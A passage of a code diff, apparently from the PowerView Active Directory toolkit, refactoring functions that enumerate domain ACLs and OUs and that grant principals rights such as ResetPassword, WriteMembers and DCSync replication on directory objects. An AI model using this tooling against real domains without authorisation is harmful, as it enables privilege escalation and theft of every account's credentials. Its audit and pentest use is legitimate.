$PageSize - - if($PrincipalSID) { - $ResolvedPrincipalSID = $PrincipalSID - } - else { - $Principal = Get-ADObject -Domain $Domain -DomainController $DomainController -Name $PrincipalName -SamAccountName $PrincipalSamAccountName -PageSize $PageSize - - if(!$Principal) { - throw "Error resolving principal" - } - $ResolvedPrincipalSID = $Principal.objectsid - } - if(!$ResolvedPrincipalSID) { - throw "Error resolving principal" + BEGIN { + $TargetSearcherArguments = @{ + 'Properties' = 'distinguishedname' + 'Raw' = $True + } + if ($PSBoundParameters['TargetDomain']) { $TargetSearcherArguments['Domain'] = $TargetDomain } + if ($PSBoundParameters['TargetLDAPFilter']) { $TargetSearcherArguments['LDAPFilter'] = $TargetLDAPFilter } + if ($PSBoundParameters['TargetSearchBase']) { $TargetSearcherArguments['SearchBase'] = $TargetSearchBase } + if ($PSBoundParameters['Server']) { $TargetSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $TargetSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $TargetSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $TargetSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $TargetSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $TargetSearcherArguments['Credential'] = $Credential } + + $PrincipalSearcherArguments = @{ + 'Identity' = $PrincipalIdentity + 'Properties' = 'distinguishedname,objectsid' + } + if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain } + if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential } + $Principals = Get-DomainObject @PrincipalSearcherArguments + if (-not $Principals) { + throw "Unable to resolve principal: $PrincipalIdentity" } } - process { + PROCESS { + $TargetSearcherArguments['Identity'] = $TargetIdentity + $Targets = Get-DomainObject @TargetSearcherArguments - if ($Searcher) { + ForEach ($TargetObject in $Targets) { + + $InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] 'None' + $ControlType = [System.Security.AccessControl.AccessControlType] 'Allow' + $ACEs = @() - if($TargetSamAccountName) { - $Searcher.filter="(&(samaccountname=$TargetSamAccountName)(name=$TargetName)(distinguishedname=$TargetDistinguishedName)$TargetFilter)" + if ($RightsGUID) { + $GUIDs = @($RightsGUID) } else { - $Searcher.filter="(&(name=$TargetName)(distinguishedname=$TargetDistinguishedName)$TargetFilter)" + $GUIDs = Switch ($Rights) { + # ResetPassword doesn't need to know the user's current password + 'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' } + # allows for the modification of group membership + 'WriteMembers' { 'bf9679c0-0de6-11d0-a285-00aa003049e2' } + # 'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 + # 'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 + # 'DS-Replication-Get-Changes-In-Filtered-Set' = 89e95b76-444d-4c62-991a-0facbeda640c + # when applied to a domain's ACL, allows for the use of DCSync + 'DCSync' { '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', '89e95b76-444d-4c62-991a-0facbeda640c'} + } } - - try { - $Results = $Searcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - - # adapted from https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects - $TargetDN = $_.Properties.distinguishedname + ForEach ($PrincipalObject in $Principals) { + Write-Verbose "[Add-DomainObjectAcl] Granting principal $($PrincipalObject.distinguishedname) '$Rights' on $($TargetObject.Properties.distinguishedname)" - $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$ResolvedPrincipalSID) - $InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] "None" - $ControlType = [System.Security.AccessControl.AccessControlType] "Allow" - $ACEs = @() - - if($RightsGUID) { - $GUIDs = @($RightsGUID) - } - else { - $GUIDs = Switch ($Rights) { - # ResetPassword doesn't need to know the user's current password - "ResetPassword" { "00299570-246d-11d0-a768-00aa006e0529" } - # allows for the modification of group membership - "WriteMembers" { "bf9679c0-0de6-11d0-a285-00aa003049e2" } - # 'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 - # 'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 - # 'DS-Replication-Get-Changes-In-Filtered-Set' = 89e95b76-444d-4c62-991a-0facbeda640c - # when applied to a domain's ACL, allows for the use of DCSync - "DCSync" { "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2", "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2", "89e95b76-444d-4c62-991a-0facbeda640c"} - } - } + try { + $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$PrincipalObject.objectsid) - if($GUIDs) { - foreach($GUID in $GUIDs) { + if ($GUIDs) { + ForEach ($GUID in $GUIDs) { $NewGUID = New-Object Guid $GUID - $ADRights = [System.DirectoryServices.ActiveDirectoryRights] "ExtendedRight" - $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity,$ADRights,$ControlType,$NewGUID,$InheritanceType + $ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'ExtendedRight' + $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $NewGUID, $InheritanceType } } else { # deault to GenericAll rights - $ADRights = [System.DirectoryServices.ActiveDirectoryRights] "GenericAll" - $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity,$ADRights,$ControlType,$InheritanceType + $ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'GenericAll' + $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $InheritanceType } - Write-Verbose "Granting principal $ResolvedPrincipalSID '$Rights' on $($_.Properties.distinguishedname)" - - try { - # add all the new ACEs to the specified object - ForEach ($ACE in $ACEs) { - Write-Verbose "Granting principal $ResolvedPrincipalSID '$($ACE.ObjectType)' rights on $($_.Properties.distinguishedname)" - $Object = [adsi]($_.path) - $Object.PsBase.ObjectSecurity.AddAccessRule($ACE) - $Object.PsBase.commitchanges() - } - } - catch { - Write-Warning "Error granting principal $ResolvedPrincipalSID '$Rights' on $TargetDN : $_" + # add all the new ACEs to the specified object directory entry + ForEach ($ACE in $ACEs) { + Write-Verbose "[Add-DomainObjectAcl] Granting principal $($PrincipalObject.distinguishedname) rights GUID '$($ACE.ObjectType)' on $($TargetObject.Properties.distinguishedname)" + $TargetEntry = $TargetObject.GetDirectoryEntry() + $TargetEntry.PsBase.ObjectSecurity.AddAccessRule($ACE) + $TargetEntry.PsBase.CommitChanges() } } - $Results.dispose() - $Searcher.dispose() - } - catch { - Write-Warning "Error: $_" + catch { + Write-Warning "[Add-DomainObjectAcl] Error granting principal $($PrincipalObject.distinguishedname) '$Rights' on $($TargetObject.Properties.distinguishedname) : $_" + } } } } } -function Invoke-ACLScanner { +function Find-InterestingDomainAcl { <# - .SYNOPSIS - Searches for ACLs for specifable AD objects (default to all domain objects) - with a domain sid of > -1000, and have modifiable rights. - - Thanks Sean Metcalf (@pyrotek3) for the idea and guidance. +.SYNOPSIS - .PARAMETER SamAccountName +Finds object ACLs in the current (or specified) domain with modification +rights set to non-built in objects. - Object name to filter for. +Thanks Sean Metcalf (@pyrotek3) for the idea and guidance. - .PARAMETER Name +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObjectAcl, Get-DomainObject, Convert-ADName - Object name to filter for. +.DESCRIPTION - .PARAMETER DistinguishedName +This function enumerates the ACLs for every object in the domain with Get-DomainObjectAcl, +and for each returned ACE entry it checks if principal security identifier +is *-1000 (meaning the account is not built in), and also checks if the rights for +the ACE mean the object can be modified by the principal. If these conditions are met, +then the security identifier SID is translated, the domain object is retrieved, and +additional IdentityReference* information is appended to the output object. - Object distinguished name to filter for. +.PARAMETER Domain - .PARAMETER Filter +Specifies the domain to use for the query, defaults to the current domain. - A customized ldap filter string to use, e.g. "(description=*admin*)" - - .PARAMETER ADSpath +.PARAMETER ResolveGUIDs - The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. +Switch. Resolve GUIDs to their display names. - .PARAMETER ADSprefix +.PARAMETER LDAPFilter - Prefix to set for the searcher (like "CN=Sites,CN=Configuration") +Specifies an LDAP query string that is used to filter Active Directory objects. - .PARAMETER Domain +.PARAMETER SearchBase - The domain to use for the query, defaults to the current domain. +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. - .PARAMETER DomainController +.PARAMETER Server - Domain controller to reflect LDAP queries through. +Specifies an Active Directory server (domain controller) to bind to. - .PARAMETER ResolveGUIDs +.PARAMETER SearchScope - Switch. Resolve GUIDs to their display names. +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). - .PARAMETER PageSize +.PARAMETER ResultPageSize - The PageSize to set for the LDAP searcher object. - - .EXAMPLE - - PS C:\> Invoke-ACLScanner -ResolveGUIDs | Export-CSV -NoTypeInformation acls.csv - - Enumerate all modifable ACLs in the current domain, resolving GUIDs to display - names, and export everything to a .csv -#> - - [CmdletBinding()] - Param ( - [Parameter(ValueFromPipeline=$True)] - [String] - $SamAccountName, - - [String] - $Name = "*", - - [Alias('DN')] - [String] - $DistinguishedName = "*", - - [String] - $Filter, +Specifies the PageSize to set for the LDAP searcher object. - [String] - $ADSpath, +.PARAMETER ServerTimeLimit - [String] - $ADSprefix, +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. - [String] - $Domain, +.PARAMETER Tombstone - [String] - $DomainController, +Switch. Specifies that the searcher should also return deleted/tombstoned objects. - [Switch] - $ResolveGUIDs, +.PARAMETER Credential - [ValidateRange(1,10000)] - [Int] - $PageSize = 200 - ) +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. - # Get all domain ACLs with the appropriate parameters - Get-ObjectACL @PSBoundParameters | ForEach-Object { - # add in the translated SID for the object identity - $_ | Add-Member Noteproperty 'IdentitySID' ($_.IdentityReference.Translate([System.Security.Principal.SecurityIdentifier]).Value) - $_ - } | Where-Object { - # check for any ACLs with SIDs > -1000 - try { - # TODO: change this to a regex for speedup? - [int]($_.IdentitySid.split("-")[-1]) -ge 1000 - } - catch {} - } | Where-Object { - # filter for modifiable rights - ($_.ActiveDirectoryRights -eq "GenericAll") -or ($_.ActiveDirectoryRights -match "Write") -or ($_.ActiveDirectoryRights -match "Create") -or ($_.ActiveDirectoryRights -match "Delete") -or (($_.ActiveDirectoryRights -match "ExtendedRight") -and ($_.AccessControlType -eq "Allow")) - } -} +.EXAMPLE +Find-InterestingDomainAcl -filter Get-GUIDMap { -<# - .SYNOPSIS +Finds interesting object ACLS in the current domain. - Helper to build a hash table of [GUID] -> resolved names +.EXAMPLE - Heavily adapted from http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx +Find-InterestingDomainAcl -Domain dev.testlab.local -ResolveGUIDs - .PARAMETER Domain - - The domain to use for the query, defaults to the current domain. +Finds interesting object ACLS in the ev.testlab.local domain and +resolves rights GUIDs to display names. - .PARAMETER DomainController - - Domain controller to reflect LDAP queries through. +.EXAMPLE - .PARAMETER PageSize +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-InterestingDomainAcl -Credential $Cred -ResolveGUIDs - The PageSize to set for the LDAP searcher object. +.OUTPUTS - .LINK +PowerView.ACL - http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx +Custom PSObject with ACL entries. #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.ACL')] [CmdletBinding()] Param ( - [Parameter(ValueFromPipeline=$True)] + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DomainName', 'Name')] [String] $Domain, - [String] - $DomainController, - - [ValidateRange(1,10000)] - [Int] - $PageSize = 200 - ) - - $GUIDs = @{'00000000-0000-0000-0000-000000000000' = 'All'} - - $SchemaPath = (Get-NetForest).schema.name - - $SchemaSearcher = Get-DomainSearcher -ADSpath $SchemaPath -DomainController $DomainController -PageSize $PageSize - if($SchemaSearcher) { - $SchemaSearcher.filter = "(schemaIDGUID=*)" - try { - $Results = $SchemaSearcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - # convert the GUID - $GUIDs[(New-Object Guid (,$_.properties.schemaidguid[0])).Guid] = $_.properties.name[0] - } - $Results.dispose() - $SchemaSearcher.dispose() - } - catch { - Write-Verbose "Error in building GUID map: $_" - } - } - - $RightsSearcher = Get-DomainSearcher -ADSpath $SchemaPath.replace("Schema","Extended-Rights") -DomainController $DomainController -PageSize $PageSize -Credential $Credential - if ($RightsSearcher) { - $RightsSearcher.filter = "(objectClass=controlAccessRight)" - try { - $Results = $RightsSearcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - # convert the GUID - $GUIDs[$_.properties.rightsguid[0].toString()] = $_.properties.name[0] - } - $Results.dispose() - $RightsSearcher.dispose() - } - catch { - Write-Verbose "Error in building GUID map: $_" - } - } - - $GUIDs -} - - -function Get-NetComputer { -<# - .SYNOPSIS - - This function utilizes adsisearcher to query the current AD context - for current computer objects. Based off of Carlos Perez's Audit.psm1 - script in Posh-SecMod (link below). - - .PARAMETER ComputerName - - Return computers with a specific name, wildcards accepted. - - .PARAMETER SPN - - Return computers with a specific service principal name, wildcards accepted. - - .PARAMETER OperatingSystem - - Return computers with a specific operating system, wildcards accepted. - - .PARAMETER ServicePack - - Return computers with a specific service pack, wildcards accepted. - - .PARAMETER Filter - - A customized ldap filter string to use, e.g. "(description=*admin*)" - - .PARAMETER Printers - - Switch. Return only printers. - - .PARAMETER Ping - - Switch. Ping each host to ensure it's up before enumerating. - - .PARAMETER FullData - - Switch. Return full computer objects instead of just system names (the default). - - .PARAMETER Domain - - The domain to query for computers, defaults to the current domain. - - .PARAMETER DomainController + [Switch] + $ResolveGUIDs, - Domain controller to reflect LDAP queries through. + [String] + [ValidateSet('All', 'ResetPassword', 'WriteMembers')] + $RightsFilter, - .PARAMETER ADSpath + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, - The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. - - .PARAMETER SiteName + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, - The AD Site name to search for computers. + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, - .PARAMETER Unconstrained + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', - Switch. Return computer objects that have unconstrained delegation. + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, - .PARAMETER PageSize + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, - The PageSize to set for the LDAP searcher object. + [Switch] + $Tombstone, - .PARAMETER Credential + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. + BEGIN { + $ACLArguments = @{} + if ($PSBoundParameters['ResolveGUIDs']) { $ACLArguments['ResolveGUIDs'] = $ResolveGUIDs } + if ($PSBoundParameters['RightsFilter']) { $ACLArguments['RightsFilter'] = $RightsFilter } + if ($PSBoundParameters['LDAPFilter']) { $ACLArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['SearchBase']) { $ACLArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $ACLArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $ACLArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $ACLArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $ACLArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $ACLArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $ACLArguments['Credential'] = $Credential } + + $ObjectSearcherArguments = @{ + 'Properties' = 'samaccountname,objectclass' + 'Raw' = $True + } + if ($PSBoundParameters['Server']) { $ObjectSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $ObjectSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $ObjectSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $ObjectSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $ObjectSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $ObjectSearcherArguments['Credential'] = $Credential } + + $ADNameArguments = @{} + if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential } + + # ongoing list of built-up SIDs + $ResolvedSIDs = @{} + } - .EXAMPLE + PROCESS { + if ($PSBoundParameters['Domain']) { + $ACLArguments['Domain'] = $Domain + $ADNameArguments['Domain'] = $Domain + } - PS C:\> Get-NetComputer - - Returns the current computers in current domain. + Get-DomainObjectAcl @ACLArguments | ForEach-Object { - .EXAMPLE + if ( ($_.ActiveDirectoryRights -match 'GenericAll|Write|Create|Delete') -or (($_.ActiveDirectoryRights -match 'ExtendedRight') -and ($_.AceQualifier -match 'Allow'))) { + # only process SIDs > 1000 + if ($_.SecurityIdentifier.Value -match '^S-1-5-.*-[1-9]\d{3,}$') { + if ($ResolvedSIDs[$_.SecurityIdentifier.Value]) { + $IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN, $IdentityReferenceClass = $ResolvedSIDs[$_.SecurityIdentifier.Value] + $_ | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName + $_ | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain + $_ | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN + $_ | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass + $_ + } + else { + $IdentityReferenceDN = Convert-ADName -Identity $_.SecurityIdentifier.Value -OutputType DN @ADNameArguments + # "IdentityReferenceDN: $IdentityReferenceDN" + + if ($IdentityReferenceDN) { + $IdentityReferenceDomain = $IdentityReferenceDN.SubString($IdentityReferenceDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + # "IdentityReferenceDomain: $IdentityReferenceDomain" + $ObjectSearcherArguments['Domain'] = $IdentityReferenceDomain + $ObjectSearcherArguments['Identity'] = $IdentityReferenceDN + # "IdentityReferenceDN: $IdentityReferenceDN" + $Object = Get-DomainObject @ObjectSearcherArguments + $ObjectSearcherArguments + if ($Object) { + $IdentityReferenceName = $Object.Properties.samaccountname[0] + if ($Object.Properties.objectclass -match 'computer') { + $IdentityReferenceClass = 'computer' + } + elseif ($Object.Properties.objectclass -match 'group') { + $IdentityReferenceClass = 'group' + } + elseif ($Object.Properties.objectclass -match 'user') { + $IdentityReferenceClass = 'user' + } + else { + $IdentityReferenceClass = $Null + } - PS C:\> Get-NetComputer -SPN mssql* - - Returns all MS SQL servers on the domain. + # save so we don't look up more than once + $ResolvedSIDs[$_.SecurityIdentifier.Value] = $IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN, $IdentityReferenceClass - .EXAMPLE + $_ | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName + $_ | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain + $_ | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN + $_ | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass + $_ + } + } + else { + Write-Warning "[Find-InterestingDomainAcl] Unable to convert SID '$($_.SecurityIdentifier.Value )' to a distinguishedname with Convert-ADName" + } + } + } + } + } + } +} - PS C:\> Get-NetComputer -Domain testing - - Returns the current computers in 'testing' domain. - .EXAMPLE +function Get-DomainOU { +<# +.SYNOPSIS - PS C:\> Get-NetComputer -Domain testing -FullData - - Returns full computer objects in the 'testing' domain. +Search for all organization units (OUs) or specific OU objects in AD. - .LINK +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty - https://github.com/darkoperator/Posh-SecMod/blob/master/Audit/Audit.psm1 -#> +.DESCRIPTION - [CmdletBinding()] - Param ( - [Parameter(ValueFromPipeline=$True)] - [Alias('HostName')] - [String] - $ComputerName = '*', +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. To only return specific properies, use +"-Properties whencreated,usnchanged,...". By default, all OU objects for +the current domain are returned. - [String] - $SPN, +.PARAMETER Identity - [String] - $OperatingSystem, +An OU name (e.g. TestOU), DistinguishedName (e.g. OU=TestOU,DC=testlab,DC=local), or +GUID (e.g. 8a9ba22a-8977-47e6-84ce-8c26af4e1e6a). Wildcards accepted. - [String] - $ServicePack, +.PARAMETER GPLink - [String] - $Filter, +Only return OUs with the specified GUID in their gplink property. - [Switch] - $Printers, +.PARAMETER Domain - [Switch] - $Ping, +Specifies the domain to use for the query, defaults to the current domain. - [Switch] - $FullData, +.PARAMETER LDAPFilter - [String] - $Domain, +Specifies an LDAP query string that is used to filter Active Directory objects. - [String] - $DomainController, +.PARAMETER Properties - [String] - $ADSpath, +Specifies the properties of the output object to retrieve from the server. - [String] - $SiteName, +.PARAMETER SearchBase - [Switch] - $Unconstrained, +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. - [ValidateRange(1,10000)] - [Int] - $PageSize = 200, +.PARAMETER Server - [Management.Automation.PSCredential] - $Credential - ) +Specifies an Active Directory server (domain controller) to bind to. - begin { - # so this isn't repeated if multiple computer names are passed on the pipeline - $CompSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize -Credential $Credential - } +.PARAMETER SearchScope - process { +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). - if ($CompSearcher) { +.PARAMETER ResultPageSize - # if we're checking for unconstrained delegation - if($Unconstrained) { - Write-Verbose "Searching for computers with for unconstrained delegation" - $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=524288)" - } - # set the filters for the seracher if it exists - if($Printers) { - Write-Verbose "Searching for printers" - # $CompSearcher.filter="(&(objectCategory=printQueue)$Filter)" - $Filter += "(objectCategory=printQueue)" - } - if($SPN) { - Write-Verbose "Searching for computers with SPN: $SPN" - $Filter += "(servicePrincipalName=$SPN)" - } - if($OperatingSystem) { - $Filter += "(operatingsystem=$OperatingSystem)" - } - if($ServicePack) { - $Filter += "(operatingsystemservicepack=$ServicePack)" - } - if($SiteName) { - $Filter += "(serverreferencebl=$SiteName)" - } +Specifies the PageSize to set for the LDAP searcher object. - $CompFilter = "(&(sAMAccountType=805306369)(dnshostname=$ComputerName)$Filter)" - Write-Verbose "Get-NetComputer filter : '$CompFilter'" - $CompSearcher.filter = $CompFilter +.PARAMETER ServerTimeLimit - try { - $Results = $CompSearcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - $Up = $True - if($Ping) { - # TODO: how can these results be piped to ping for a speedup? - $Up = Test-Connection -Count 1 -Quiet -ComputerName $_.properties.dnshostname - } - if($Up) { - # return full data objects - if ($FullData) { - # convert/process the LDAP fields for each result - $Computer = Convert-LDAPProperty -Properties $_.Properties - $Computer.PSObject.TypeNames.Add('PowerView.Computer') - $Computer - } - else { - # otherwise we're just returning the DNS host name - $_.properties.dnshostname - } - } - } - $Results.dispose() - $CompSearcher.dispose() - } - catch { - Write-Warning "Error: $_" - } - } - } -} +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. +.PARAMETER SecurityMasks -function Get-ADObject { -<# - .SYNOPSIS +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER FindOne - Takes a domain SID and returns the user, group, or computer object - associated with it. +Only return one result object. - .PARAMETER SID +.PARAMETER Tombstone - The SID of the domain object you're querying for. +Switch. Specifies that the searcher should also return deleted/tombstoned objects. - .PARAMETER Name +.PARAMETER Credential - The Name of the domain object you're querying for. +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. - .PARAMETER SamAccountName +.PARAMETER Raw - The SamAccountName of the domain object you're querying for. +Switch. Return raw results instead of translating the fields into a custom PSObject. - .PARAMETER Domain +.EXAMPLE - The domain to query for objects, defaults to the current domain. +Get-DomainOU - .PARAMETER DomainController +Returns the current OUs in the domain. - Domain controller to reflect LDAP queries through. +.EXAMPLE - .PARAMETER ADSpath +Get-DomainOU *admin* -Domain testlab.local - The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. +Returns all OUs with "admin" in their name in the testlab.local domain. - .PARAMETER Filter +.EXAMPLE - Additional LDAP filter string for the query. +Get-DomainOU -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272" - .PARAMETER ReturnRaw +Returns all OUs with linked to the specified group policy object. - Switch. Return the raw object instead of translating its properties. - Used by Set-ADObject to modify object properties. +.EXAMPLE - .PARAMETER PageSize +"*admin*","*server*" | Get-DomainOU - The PageSize to set for the LDAP searcher object. +Search for OUs with the specific names. - .PARAMETER Credential +.EXAMPLE - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainOU -Credential $Cred - .EXAMPLE +.OUTPUTS - PS C:\> Get-ADObject -SID "S-1-5-21-2620891829-2411261497-1773853088-1110" - - Get the domain object associated with the specified SID. - - .EXAMPLE +PowerView.OU - PS C:\> Get-ADObject -ADSpath "CN=AdminSDHolder,CN=System,DC=testlab,DC=local" - - Get the AdminSDHolder object for the testlab.local domain. +Custom PSObject with translated OU property fields. #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.OU')] [CmdletBinding()] Param ( - [Parameter(ValueFromPipeline=$True)] + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name')] + [String[]] + $Identity, + + [ValidateNotNullOrEmpty()] [String] - $SID, + [Alias('GUID')] + $GPLink, + [ValidateNotNullOrEmpty()] [String] - $Name, + $Domain, + [ValidateNotNullOrEmpty()] + [Alias('Filter')] [String] - $SamAccountName, + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] [String] - $Domain, + $SearchBase, + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] [String] - $DomainController, + $Server, + [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] - $ADSpath, + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] [String] - $Filter, + $SecurityMasks, [Switch] - $ReturnRaw, + $Tombstone, - [ValidateRange(1,10000)] - [Int] - $PageSize = 200, + [Alias('ReturnOne')] + [Switch] + $FindOne, [Management.Automation.PSCredential] - $Credential + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw ) - process { - if($SID) { - # if a SID is passed, try to resolve it to a reachable domain name for the searcher - try { - $Name = Convert-SidToName $SID - if($Name) { - $Canonical = Convert-ADName -ObjectName $Name -InputType NT4 -OutputType Canonical - if($Canonical) { - $Domain = $Canonical.split("/")[0] + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = 